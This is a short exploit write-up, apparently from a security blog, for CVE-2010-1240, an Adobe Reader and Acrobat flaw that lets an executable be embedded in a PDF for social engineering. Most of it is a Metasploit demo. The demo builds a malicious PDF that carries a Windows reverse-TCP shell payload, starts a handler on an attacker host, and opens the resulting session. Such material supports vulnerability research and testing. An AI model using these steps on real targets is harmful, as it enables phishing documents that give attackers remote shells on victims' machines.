Cve-2010-1240 : Adobe Pdf Embedded Exe Social Engineering

Vulnerability discovered & disclosed by Didier Stevens the 2010-03-29
Exploit-DB PoC provided by Didier Stevens the 2010-03-31

PoC provided by:
jduck
Colin Ames

Reference(s) :
CVE-2010-1240
EDB-ID-11987

Affected versions :
Adobe Reader 9.3.2 and earlier versions for Windows, Macintosh, and UNIX
Adobe Acrobat 9.3.2 and earlier versions for Windows and Macintosh

Tested on Windows XP SP3 with Adobe Reader 9.3.0

Description :
This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.

Metasploit demo :

use exploit/windows/fileformat/adobe_pdf_emb­edded_exe
set OUTPUTPATH /home/eromang
set INFILENAME metasploit.pdf
set TARGET 0
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.178.21
expoit -j

sessions -i 1
dir